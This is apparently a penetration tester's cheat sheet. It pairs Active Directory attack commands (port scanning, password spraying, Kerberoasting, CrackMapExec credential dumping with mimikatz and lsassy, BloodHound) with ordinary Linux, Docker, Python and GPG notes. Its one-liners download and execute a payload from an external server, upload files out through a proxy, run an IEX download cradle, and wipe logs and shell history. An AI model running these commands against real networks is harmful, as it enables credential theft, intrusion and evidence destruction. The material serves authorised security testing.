CVE-2020-1472

Tricks #

Grep only numbers to get list of ports separated by comma:

root@kali:$ cat nmap/initial.nmap |egrep -o '^[0-9]{1,5}' |awk -F/ '{ print $1 }' ORS=','; echo

Fast port discovery (Masscan) + versions and NSE scripts (Nmap):

root@kali:$ masscan --rate=1000 -e tun0 -p0-65535,U:0-65535 127.0.0.1 > ports
root@kali:$ ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
root@kali:$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
root@kali:$ rm ports

Fast port discovery (Nmap) + versions and NSE scripts (Nmap):

root@kali:$ nmap -n -Pn --min-rate=1000 -T4 127.0.0.1 -p- -vvv | tee ports
root@kali:$ ports=`cat ports | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed 's/,$//'`
root@kali:$ nmap -n -Pn -sV -sC [-sT] [--reason] -oA nmap/output 127.0.0.1 -p$ports
root@kali:$ rm ports

Top TCP ports:

Port Service
21 FTP
22 SSH
23 Telnet
25 SMTP
53 DNS
80 HTTP
88 KDC
111 SUNRPC
135 MSRPC
137 NetBIOS
139 SMB
389 LDAP
443 SSL/TLS
445 SMB
464 KPASSWD
593 HTTP RPC Endpoint Mapper
636 LDAP over SSL/TLS
873 RSYNC
1099 JavaRMI
1433 MSSQL
1521 Oracle
2049 NFS
3268 Microsoft Global Catalog
3269 Microsoft Global Catalog
3306 MySQL/MariaDB
3389 RDP
4786 Cisco Smart Install
5432 PostgreSQL
5555 HP Data Protector
5900 VNC
5985 WinRM
5986 WinRM over SSL/TLS
6379 Redis
8080 HTTP
8443 SSL/TLS
9389 Active Directory Web Services
9200 Elasticsearch
27017 MongoDB

Top UDP ports:

Port Service
53 DNS
67 DHCP
68 DHCP
69 TFTP
88 KDC
123 NTP
137 NetBIOS
161 SNMP
162 SNMPTRAP
500 IKE
3391 RD Gateway 
$ sudo masscan --rate=500 --open -p22,80,443,U:161,U:500 -iL routes.txt --resume paused.conf >> alltcp.txt
$ mkdir services && for p in 21 22 23 25 53 80 88 111 135 137 139 161 389 443 445 464 500 593 636 873 1099 1433 1521 2049 3268 3269 3306 3389 4786 5432 5555 5900 5985 5986 6379 8080 9389 9200 27017; do grep "port $p/tcp" alltcp.txt | awk -F' ' '{print $6}' | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n > "services/port$p.txt"; done

Nmap #

Flag -A:

root@kali:$ nmap -A ... == nmap -sC -sV -O --traceroute ...

Enum WAF:

root@kali:$ nmap --script http-waf-detect 127.0.0.1 -p80
root@kali:$ nmap --script http-waf-fingerprint 127.0.0.1 -p80
+ wafw00f.py

Generate Password List #

hashcat #

Potentially valid users if got any, John Doe as an example:

root@kali:$ cat << EOF >> passwords.txt
johndoe
jdoe
j.doe
doe
EOF

Common usernames:

root@kali:$ cat << EOF >> passwords.txt
admin
administrator
root
guest
sa
changeme
password
EOF

Common patterns:

root@kali:$ cat << EOF >> passwords.txt
January
February
March
April
May
June
July
August
September
October
November
December
Autumn
Fall
Spring
Winter
Summer
password
Password
P@ssw0rd
secret
Secret
S3cret
EOF

Add year and exclamation point to the end of each password:

root@kali:$ for i in $(cat passwords.txt); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}2020\!"; done > t
root@kali:$ cp t passwords.txt

Mutate the wordlist with hashcat rules:

root@kali:$ hashcat --force --stdout passwords.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule |sort -u |awk 'length($0) > 7' > t
root@kali:$ cp t passwords.txt

Simple list for password spraying:

root@kali:$ cat << EOF >> passwords.txt
admin
root
changeme
Password
Password1
Password!
Password2020
Password2020!
Gfhjkm
Gfhjkm1
Gfhjkm!
Gfhjkm2020
Gfhjkm2020!
Megacorp
Megacorp1
Megacorp!
Megacorp2020
Megacorp2020!
EOF

cewl # 

$ cewl -d 5 -m 5 -w passwords.txt --with-numbers --email_file emails.txt http://megacorp.local/somedir/logs/html/index.htm

Tools #

kerbrute # 

$ ./kerbrute -v --delay 100 -d megacorp.local -o kerbrute-passwordspray-123456.log passwordspray users.txt '123456'

Bloodhound #

Setup # 
$ sudo apt install neo4j
$ mkdir -p /usr/share/neo4j/logs/
$ sudo neo4j console
...change default password at localhost:7474...
$ sudo neo4j start
$ wget https://github.com/BloodHoundAD/BloodHound/releases/latest
$ unzip BloodHound-linux-x64.zip && rm BloodHound-linux-x64.zip && cd BloodHound-linux-x64
$ sudo ./BloodHound --no-sandbox
Or
$ sudo chown root:root chrome-sandbox
$ sudo chmod 4755 chrome-sandbox
$ ./BloodHound
SharpHound #

Collect graphs via Ingestors/SharpHound.ps1:

PS > Invoke-Bloodhound -CollectionMethod All,GPOLocalGroup,LoggedOn -Domain megacorp.local -LDAPUser j1v37u2k3y -LDAPPass 'P@ssw0rd123'

Run session loop (~2 hours for best results):

PS > .\SharpHound.exe -c SessionLoop
Cypher #

Show percentage of collected user sessions (example):

# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
BloodHound.py #

Collect graphs via BloodHound.py (with BloodHound running):

$ git clone https://github.com/fox-it/BloodHound.py ~/tools/BloodHound.py && cd ~/tools/BloodHound.py && python setup.py install && cd -
$ bloodhound-python -c All -u j1v37u2k3y -p 'P@ssw0rd123' -d megacorp.local -ns 127.0.0.1

Impacket # 

$ git clone https://github.com/SecureAuthCorp/impacket ~/tools/impacket && cd ~/tools/impacket
$ pipenv install -r requirements.txt && pipenv shell
(impacket) $ pip install .
(impacket) $ python examples/psexec.py

$ lookupsid.py MEGACORP/s.freeside:'P@ssw0rd123'@127.0.0.1 20000

$ GetNPUsers.py MEGACORP/ -dc-ip 127.0.0.1 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asprep.txt | tee GetNPUsers.log
$ cat GetNPUsers.log | grep -v 'Client not found in Kerberos database'
$ ./hashcat64.exe -m 18200 -a 0 -w 4 -O --session=j1v37u2k3y hashes/asprep.txt seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

$ GetUserSPNs.py MEGACORP/s.freeside:'P@ssw0rd123' -dc-ip 127.0.0.1 -save
$ ./hashcat64.exe -m 13100 -a 0 -w 4 -O --session=j1v37u2k3y hashes/tgsrep.txt seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

CrackMapExec #

Install bleeding-edge:

$ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ pipenv install && pipenv shell
(CrackMapExec) $ python setup.py install
(CrackMapExec) $ sudo ln -s /home/j1v37u2k3y/.virtualenvs/CrackMapExec/bin/crackmapexec /usr/bin/CME
(CrackMapExec) $ CME smb 127.0.0.1 -u 'anonymous' -p ''
Or
$ pipx install crackmapexec
$ pipx run crackmapexec smb 127.0.0.1 -u 'anonymous' -p ''

Use:

$ CME smb 127.0.0.1
$ CME smb 127.0.0.1 -u anonymous -p '' --shares
$ CME smb 127.0.0.1 -u j1v37u2k3y -p /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
$ CME smb 127.0.0.1 -u nullinux_users.txt -p 'P@ssw0rd123' --shares [--continue-on-success]
$ CME smb 127.0.0.1 -u j1v37u2k3y -p 'P@ssw0rd123' --spider-folder 'E\$' --pattern s3cret
$ CME smb 127.0.0.1 -u j.doe -p 'P@ssw0rd123' -d 'CORP' --spider Users --pattern '.'
$ CME smb 127.0.0.1 -u j1v37u2k3y -p '' --local-auth --sam
$ CME smb 127.0.0.1 -u j1v37u2k3y -p '' -M spider_plus
$ CME smb 127.0.0.1 -u j1v37u2k3y -p '' -M mimikatz
$ CME smb 127.0.0.1 -u j1v37u2k3y -p '' -M lsassy

PowerView # 

$ curl -L https://github.com/PowerShellEmpire/PowerTools/raw/master/PowerView/powerview.ps1 > powerview2.ps1
$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1 > powerview3.ps1
PowerView3 > Get-DomainComputer -Properties Name | Resolve-IPAddress
PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl

cve-2019-1040-scanner # 

$ python scan.py MEGACORP/j1v37u2k3y:'P@ssw0rd123'@10.10.13.37
$ python scan.py --target-file DCs.txt MEGACORP/j1v37u2k3y:'P@ssw0rd123'

One-liners #

PowerShell ping sweep:

echo "[*] Scanning in progress...";1..254 |ForEach-Object {Get-WmiObject Win32_PingStatus -Filter "Address='10.10.100.$_' and Timeout=50 and ResolveAddressNames='false' and StatusCode=0" |select ProtocolAddress* |Out-File -Append -FilePath .\live_hosts.txt};echo "[+] Live hosts:"; Get-Content -Path .\live_hosts.txt | ? { $_ -match "10.10.100" }; echo "[*] Done.";del .\live_hosts.txt

PowerShell auto-detect proxy, download file from remote HTTP server and run it:

$proxyAddr=(Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer;$proxy=New-Object System.Net.WebProxy;$proxy.Address=$proxyAddr;$proxy.useDefaultCredentials=$true;$client=New-Object System.Net.WebClient;$client.Proxy=$proxy;$client.DownloadFile("http://<external-server>/met.exe","$env:userprofile\music\met.exe");$exec=New-Object -com shell.application;$exec.shellexecute("$env:userprofile\music\met.exe")

PowerShell manually set proxy and upload a file to a remote HTTP server:

$client=New-Object System.Net.WebClient;$proxy=New-Object System.Net.WebProxy("http://proxy.megacorp.local:3128",$true);$creds=New-Object Net.NetworkCredential('j1v37u2k3y','P@ssw0rd123','megacorp.local');$creds=$creds.GetCredential("http://proxy.megacorp.local","3128","KERBEROS");$proxy.Credentials=$creds;$client.Proxy=$proxy;$client.UploadFile("http://<external-server>/results.txt","results.txt")

Unsorted # 

root@kali:$ kerbrute userenum -d megacorp.local --dc 127.0.0.1 /usr/share/seclists/Usernames/Names/names.txt -t 50
root@kali:$ kerbrute bruteuser -d megacorp.local --dc 127.0.0.1 /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt j1v37u2k3y -t 50

PS > systeminfo
PS > whoami /priv (whoami /all)
PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > net user
PS > net user /domain
PS > net user j.doe /domain
PS > net accounts
PS > net accounts /domain
PS > net localgroup Administrators
PS > net group /domain
PS > net group "Domain admins" /domain
PS > net group "Enterprise admins" /domain
PS > cmdkey /list
PS > wmic product get name
PS > get-process
PS > tasklist /SVC
PS > net start
PS > netstat -ano | findstr LIST
PS > ipconfig /all
PS > route print
PS > dir -force c:\
PS > (wmic os get OSArchitecture)[2]
PS > [Environment]::Is64BitOperatingSystem
PS > [Environment]::Is64BitProcess
PS > $ExecutionContext.SessionState.LanguageMode
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}

PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass "IEX(New-Object Net.WebClient).DownloadString('https://github.com/BloodHoundAD/BloodHound/raw/master/Ingestors/SharpHound.ps1');Invoke-Bloodhound -CollectionMethod All,GPOLocalGroup,LoggedOn"

Common AV process names:

Process Name Vendor/Product
avp.exe Kaspersky Internet Security
cpda.exe End Point Security (Check Point)
MsMpEng.exe Windows Defender
ntrtscan.exe Trend Micro OfficeScan
tmlisten.exe Trend Micro OfficeScan 
PS > gc .\100-hosts.txt | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$_.Caption -in "name1.exe","name2.exe"} | select ProcessName,PSComputerName}

Identify Microsoft.NET version:

PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion

Mindmaps #

Sublime Text #

Installation #

Linux # 

$ wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -
$ sudo apt install apt-transport-https -y
$ echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list
$ sudo apt update && sudo apt install sublime-text -y

$ wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - && sudo apt install apt-transport-https -y && echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list && sudo apt update && sudo apt install sublime-text -y

Git #

Add SSH key to the ssh-agent:

$ eval "$(ssh-agent -s)"
$ ssh-add ~/.ssh/id_rsa

Test SSH key:

ssh -T git@github.com

Docker # 

$ docker ps -a
$ docker stop `docker container ls -aq`
$ docker rm -v `docker container ls -aq -f status=exited`
$ docker rmi `docker images -aq`
$ docker start -ai <CONTAINER>
$ docker cp project/. <CONTAINER>:/root/project
$ docker run --rm -ith <HOSTNAME> --name <NAME> ubuntu bash
$ docker build -t <USERNAME>/<IMAGE> .

Installation #

Linux #

docker-engine # 

$ sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -y
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
[$ sudo apt-key fingerprint 0EBFCD88]
$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
(Or for Kali) $ echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
$ sudo apt update
[$ apt-cache policy docker-ce]
$ sudo apt install docker-ce
[$ sudo systemctl status docker]
$ sudo usermod -aG docker ${USER}
relogin
[$ docker run --rm hello-world]

docker-compose # 

$ sudo curl -L "https://github.com/docker/compose/releases/download/1.25.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
[$ sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose]

Python #

Install/Update # 

$ sudo apt install software-properties-common -y
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt update && sudo apt install python3.7 -y

$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 1
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 3
$ sudo update-alternatives --config python3

$ sudo apt install python[3]-pip -y
Or
$ wget https://bootstrap.pypa.io/get-pip.py
$ python[3] get-pip.py

$ sudo python3 -m pip install --upgrade pip

pip #

freeze # 

$ pip freeze --local [-r requirements.txt] > requirements.txt

venv # 

$ sudo apt install python3-venv
$ python3 -m venv venv

virtualenv # 

$ sudo pip3 install virtualenv
$ virtualenv -p python3 venv
$ source venv/bin/activate
$ deactivate

virtualenvwrapper # 

$ sudo pip3 install virtualenvwrapper
$ export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
$ source /usr/local/bin/virtualenvwrapper.sh
(in ~/.zshrc)

$ mkvirtualenv env-name
$ workon
$ workon env-name
$ deactivate
$ rmvirtualenv env-name

pipenv # 

$ sudo pip install pipenv
$ pipenv --python python3 install [package]

$ pipenv shell
^D

$ pipenv run python script.py
$ pipenv lock -r > requirements.txt
$ pipenv --venv
$ pipenv --rm

Workaround for TypeError: 'module' object is not callable:

$ pipenv --python python3 install pip==18.0

Testing #

doctest #

doctest imported:

$ python3 example.py [-v]

doctest not imported:

$ python3 -m doctest example.py [-v]

Linting #

flake8 # 

$ python3 -m flake8 --ignore W191,E127,E226,E265,E501 somefile.py

pylint # 

$ python3 -m pylint -d C0111,C0122,C0330,W0312 --msg-template='{msg_id}:{line:3d},{column:2d}:{obj}:{msg}' somefile.py

PyPI #

twine # 

$ python setup.py sdist bdist_wheel [--bdist-dir ~/temp/bdistwheel]
$ twine check dist/*
$ twine upload --repository-url https://test.pypi.org/legacy/ dist/*
$ twine upload dist/*

Misc #

bpython # 

$ python3 -m pip install bpython

GPG #

List keychain:

$ gpg --list-keys

Gen key:

$ gpg --full-generate-key [--expert]

Gen revoke cert:

$ gpg --output revoke.asc --gen-revoke user@example.com
revoke.asc

Export user’s public key:

$ gpg --armor --output user.pub --export user@example.com
user.pub

Import recipient’s public key:

$ gpg --import recipient.pub

Sign and encrypt:

$ gpg -o/--output encrypted.txt.gpg -e/--encrypt -s/--sign -u/--local-user user1@example.com -r/--recipient user2@example.com plaintext.txt
encrypted.txt.gpg

List recipients:

$ gpg --list-only -v -d/--decrypt encrypted.txt.gpg

Verify signature:

$ gpg --verify signed.txt.gpg
$ gpg --verify signed.txt.sig signed.txt

Decrypt and verify:

$ gpg -o/--output decrypted.txt -d/--decrypt --try-secret-key user1@example.com encrypted.txt.gpg
$ gpg -o/--output decrypted.txt -d/--decrypt -u/--local-user user1@example.com -r/--recipient user2@example.com encrypted.txt.gpg

VirtualBox #

DHCP # 

Cmd > "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" dhcpserver add --netname intnet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.101 --upperip 10.0.1.254 --enable

Shared Folders # 

$ sudo usermod -aG vboxsf j1v37u2k3y
$ sudo reboot

Dirty Network Configure # 

$ sudo service NetworkManager stop
$ sudo ifconfig 
$ sudo ifconfig eth0 10.10.13.37 netmask 255.255.255.0
$ sudo route add default gw 10.10.13.1 dev eth0
$ sudo route -n
$ sudo vi /etc/resolv.conf 
$ ping 8.8.8.8
$ nslookup ya.ru
$ sudo systemctl enable ssh --now

netplan #

/etc/netplan/*.yaml:

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [10.10.13.37/24]
      gateway4: 10.10.13.1
      dhcp4: true
      optional: true
      nameservers:
        addresses: [8.8.8.8,8.8.4.4]

$ sudo service NetworkManager stop
$ sudo netplan apply

Kali #

Configure #

Mix settings list (both for hardware install and virtualization):

[VM] Disable screen lock (Power manager settings -> Display -> Display power manager -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/sources.list to HTTPS if getting "403 Forbidden" because of the antivirus)
	$ sudo apt update && sudo upgrade -y
	$ sudo reboot
[VM] Install guest additions
	* Insert Guest Additions CD image and open terminal there
	$ cp /media/cdrom0/VBoxLinuxAdditions.run ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAdditions.run && sudo ~/Desktop/VBoxLinuxAdditions.run
	$ sudo reboot
	$ rm ~/Desktop/VBoxLinuxAdditions.run && sudo eject
[ALL] Manage users
	* Enable root or create new user
		SWITCH {
			CASE (root):
				$ sudo -i
				$ passwd root
				* Re-login as root
			CASE (non-root):
				$ sudo useradd -m -s /bin/bash -u 1337 j1v37u2k3y
				$ passwd j1v37u2k3y
				$ usermod -aG sudo j1v37u2k3y
				* Re-login as j1v37u2k3y
		}
	* Disable kali user [VM]
		SWITCH {
			CASE (lock):
				$ sudo usermod -L kali && usermod -s /sbin/nologin kali && chage -E0 kali
			CASE (delete):
				$ sudo userdel -r kali
		}
[ALL] Configure sudo
	* Increase sudo password timeout value or disable password prompt completely
		SWITCH {
			CASE (increase timeout):
				$ sudo visudo
				"Defaults    env_reset,timestamp_timeout=45"
			CASE (disable password):
				$ sudo visudo
				"j1v37u2k3y ALL=(ALL) NOPASSWD: ALL"
		}
[ALL] Install cmake
	$ sudo apt install cmake -y
[ALL] Pull dotfiles
	$ git clone https://github.com/snovvcrash/dotfiles-linux ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autodeploy scripts on the discretion

VirtualBox #

Guest Additions #

Known issues:

Network #

Configure multiple interfaces to work simultaneously:

root@kali:$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# NAT
allow-hotplug eth0
iface eth0 inet dhcp

# Internal
allow-hotplug eth1
iface eth1 inet dhcp

# Host-only
allow-hotplug eth2
iface eth2 inet dhcp

# The loopback network interface
auto lo
iface lo inet loopback

root@kali:$ ifup eth0
root@kali:$ ifup eth1
root@kali:$ ifup eth2

Share Folder (old) #

Mount:

root@kali:$ mkdir ~/Desktop/Share
root@kali:$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
root@kali:$ ln -s /mnt/share-host ~/Desktop/Share

root@kali:$ sudo adduser $USER vboxsf

Automount:

root@kali:$ crontab -e
"@reboot    sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"

Unix #

Encodings #

From CP1252 to UTF-8:

$ iconv -f CP1252 -t UTF8 inputfile.txt -o outputfile.txt
Or
$ enconv -x UTF8 somefile.txt

Check:

$ enconv -d somefile.txt
Or
$ file -i somefile.txt

Remove ANSI escape codes:

$ awk '{ gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' somefile.txt

Windows/Unix Text # 

input.txt: ASCII text
VS
input.txt: ASCII text, with CRLF line terminators

From Win to Unix:

$ awk '{ sub("\r$", ""); print }' input.txt > output.txt
Or
$ dos2unix input.txt

From Unix to Win:

$ awk 'sub("$", "\r")' input.txt > output.txt
Or
$ unix2dos input.txt

Network #

Connections # 

$ netstat -anlp | grep LIST
$ ss -nlpt | grep LIST

Public IP # 

$ wget -q -O - https://ipinfo.io/ip

Virtual Terminal # 

Start:
CTRL + ALT + F1-6

Stop:
ALT + F8

Process Kill # 

$ ps aux | grep firefox
Or
$ pidof firefox

$ kill -15 <PID>
Or
$ kill -SIGTERM <PID>
Or
$ kill <PID>

If -15 signal didn't help, use stronger -9 signal:
$ kill -9 <PID>
Or
$ kill -SIGKILL <PID>

Dev #

C Library Path # 

$ echo '#include <sys/types.h>'' | gcc -E -x c - | grep '/types.h'

Vangrind # 

$ valgrind --leak-check=full --track-origins=yes --leak-resolution=med ./a.out

OpenSSL #

Encrypt/Decrypt # 

$ openssl enc -e -aes-128-ecb -in file.txt -out file.txt.ecb -K 10101010
$ openssl enc -d -aes-128-ecb -in file.txt.ecb -out file.txt.ecb_dec -K 10101010

$ echo 'secret_data1 + secret_data2 + secret_data3' | openssl enc -e -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty
$ echo 'U2FsdGVkX1+d1qH1M3nhYFKscrg5QYt+AlTSBPHgdB4JEP8YSy1FX+xYdrfJ5cZgfoGrW+2On7lMxRIhKCUmWQ==' | openssl enc -d -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty

Generate Keys # 

$ ssh-keygen -t rsa -b 4096 -N 's3cr3t_p4ssw0rd' -C 'user@email.com' -f rsa_key
$ mv rsa_key rsa_key.old
$ openssl pkcs8 -topk8 -v2 des3 \
  -in rsa_key.old -passin 'pass:s3cr3t_p4ssw0rd' \
  -out rsa_key -passout 'pass:s3cr3t_p4ssw0rd'
$ chmod 600 rsa_key

$ openssl rsa -text -in rsa_key -passin 'pass:s3cr3t_p4ssw0rd'
$ openssl asn1parse -in rsa_key

$ ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519

Clear #

Log Files # 

$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0

.bash_history # 

$ cat /dev/null > ~/.bash_history && history -c && exit

Secure Delete # 

$ shred -zvu -n7 /path/to/file
$ find /path/to/dir -type f -exec shred -zvu -n7 {} \;
$ shred -zv -n0 /dev/sdc1

Partitions #

List devices:

$ lsblk
$ sudo fdisk -l
$ df -h

Manage partitions:

$ sudo fdisk /dev/sd??

Format:

$ sudo umount /dev/sd??
$ sudo mkfs.<type> -F 32 -I /dev/sd?? -n VOLUME-NAME
type: 'msdos' (=fat32), 'ntfs'

Floppy # 

$ mcopy -i floppy.img 123.txt ::123.txt
$ mdel -i floppy.img 123.TXT

Checksums #

Compare file hashes:

$ md5sum /path/to/abc.txt | awk '{print $1, "/path/to/cba.txt"}' > /tmp/checksum.txt
$ md5sum -c /tmp/checksum.txt

Compare directory hashes:

$ hashdeep -c md5 -r /path/to/dir1 > dir1hashes.txt
$ hashdeep -c md5 -r -X -k dir1hashes.txt /path/to/dir2

Permissions #

Set defaults for files:

$ find . -type f -exec chmod 644 {} \;

Set defaults for directories:

$ find . -type d -exec chmod 755 {} \;

Fix Linux Freezes while Copying # 

$ sudo crontab -l | { cat; echo '@reboot echo $((16*1024*1024)) > /proc/sys/vm/dirty_background_bytes'; } | crontab -
$ sudo crontab -l | { cat; echo '@reboot echo $((48*1024*1024)) > /proc/sys/vm/dirty_bytes'; } | crontab -

Kernel #

Remove old kernels:

$ dpkg -l linux-image-\* | grep ^ii
$ kernelver=$(uname -r | sed -r 's/-[a-z]+//')
$ dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve $kernelver
$ sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve "$(uname -r | sed -r 's/-[a-z]+//')")

Xfce4 #

Install xfce4:

$ sudo apt update
$ sudo apt upgrade -y
$ sudo apt install xfce4 xfce4-terminal gtk2-engines-pixbuf -y

GIFs # 

$ sudo apt install peek -y
Or
$ sudo apt install byzanz xdotool -y
$ xdotool getmouselocation
$ byzanz-record --duration=15 --x=130 --y=90 --width=800 --height=500 ~/Desktop/out.gif

NTP # 

$ sudo apt purge ntp -y
$ sudo timedatectl set-timezone Europe/Moscow
$ sudo vi /etc/systemd/timesyncd.conf
NTP=0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org 3.ru.pool.ntp.org
$ sudo service systemd-timesyncd restart
$ sudo timedatectl set-ntp true
$ timedatectl status
$ service systemd-timesyncd status
$ service systemd-timedated status
  1. feeding.cloud.geek.nz/posts/time-synchronization-with-ntp-and-systemd/
  2. billauer.co.il/blog/2019/01/ntp-systemd/

ImageMagick #

XOR 2 images:

$ convert img1.png img2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out

Tools #

tar #

.tar #

Pack:

tar -cvf filename.tar

Unpack:

tar -xvf filename.tar

.tar.gz #

Pack:

tar -cvzf filename.tar.gz

Unpack:

tar -xvzf filename.tar.gz

.tar.bz #

Pack:

tar -cvjf filename.tar.bz

Unpack:

tar -xvjf filename.tar.bz

7z #

Encrypt and pack all files in directory::

$ 7z a packed.7z -mhe -p"p4sSw0rD" *

Decrypt and unpack:

$ 7z e packed.7z -p"p4sSw0rD"

grep/find/sed #

Recursive grep:

$ grep -rnw /path/to/dir -e 'pattern'

Recursive find and replace:

$ find . -type f -name "*.txt" -exec sed -i'' -e 's/\<foo\>/bar/g' {} +

Exec strings and grep on the result with printing filenames:

$ find . -type f -print -exec sh -c 'strings $1 | grep -i -n "signature"' sh {} \;

Find and xargs grep results:

$ find . -type f -print0 | xargs -0 grep <PATTERN>

Get absolute path of a file:

$ readlink -f somefile.txt

dpkg # 

$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W -f '${Package},${Version}\n' >> ${OUT}

iptables #

List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):

$ sudo iptables -L -n --line-numbers [-t filter]

Print rules for all chains (for a specific chains):

$ sudo iptables -S [INPUT [1]]

fail2ban # 

# Filters location which turn into *user-defined* fail2ban iptables rules (automatically)
/etc/fail2ban/filter.d

# Status
$ sudo service fail2ban status
$ sudo fail2ban-client status
$ sudo fail2ban-client status sshd

# Unban all
$ sudo fail2ban-client unban --all

git #

Syncing a forked repository:

$ git remote add upstream https://github.com/original/repository.git
$ git fetch upstream

$ git checkout master
$ git rebase upstream/master (git merge upstream/master)
$ git push -f origin master

$ git checkout -b dev upstream/dev
$ git rebase upstream/dev (git merge upstream/dev)
$ git push -f origin dev

Console Logging #

script # 

$ script tool-$(date "+%FT%H%M%S").script

tmux # 

bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh

Time in Prompt #

bash #

~/.bashrc (replace ! with %):

PS1='${debian_chroot:!($debian_chroot)}[\D!d}|\D{!k:!M}] \[\033[01;32m\]λ  \[\033[00m\]\[\033[01;34m\]\w\[\033[00m\] '

zsh #

$ZSH_CUSTOM/themes/robbyrussell.zsh-theme (replace ! with %):

PROMPT="!(?:!{$fg_bold[green]!}➜ :!{$fg_bold[red]!}➜ ) "
PROMPT+='!{$fg[cyan]!}!(4~|!-1~/…/!2~|!3~)!{$reset_color!} $(git_prompt_info)'

if lsof -tac script "$(tty)" > /dev/null; then
    PROMPT="[!D{!d}|!D{!k:!M}]* $PROMPT"
else
    PROMPT="[!D{!d}|!D{!k:!M}] $PROMPT"
fi

Fun #

CMatrix # 

$ sudo apt-get install cmatrix

screenfetch # 

$ wget -O screenfetch https://raw.github.com/KittyKatt/screenFetch/master/screenfetch-dev
$ chmod +x screenfetch
$ sudo mv screenfetch /usr/bin

Windows #

Secure Delete #

cipher # 

Cmd > cipher /w:H

sdelete #

File:

Cmd > sdelete -p 7 testfile.txt

Directory (recursively):

Cmd > sdelete -p 7 -r "C:\temp"

Disk or partition:

Cmd > sdelete -p 7 -c H:

System Perfomance # 

Cmd > perfmon /res

Network #

Connections and Routes # 

Cmd > netstat -b
Cmd > netstat -ano
Cmd > route print [-4]

Clean Cache # 

Cmd > netsh int ip reset
Cmd > netsh int tcp reset
Cmd > ipconfig /flushdns
Cmd > netsh winsock reset
Cmd > route -f
[Cmd> ipconfig -renew]

Hide/unhide computer name on LAN:

Cmd > net config server
Cmd > net config server /hidden:yes
Cmd > net config server /hidden:no
(+ reboot)

